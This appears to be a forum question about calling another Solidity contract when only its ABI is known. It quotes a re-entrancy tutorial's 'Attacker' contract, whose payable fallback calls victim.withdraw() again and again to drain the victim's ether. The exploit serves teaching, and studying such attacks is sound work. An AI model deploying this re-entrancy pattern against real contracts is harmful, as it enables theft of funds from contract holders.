What is the minimum amount of information you need to know to call a contract from another contract?
In this re-entrancy tutorial we see the following source code to "attack" a contract.
pragma solidity ^0.4.8; import './Victim.sol'; contract Attacker { Victim victim; function Attacker(address victimAddress) { victim = Victim(victimAddress); } function attack() { victim.withdraw(); } // Fallback function which is called whenever Attacker receives ether function () payable { if (victim.balance >= msg.value) { victim.withdraw(); } } } This Attacker contract is able to call the Victim contract with access to its source code. Is it possible to call another contract's functions if the ABI is known, but not the source code itself. Is that possible with Solidity and how?
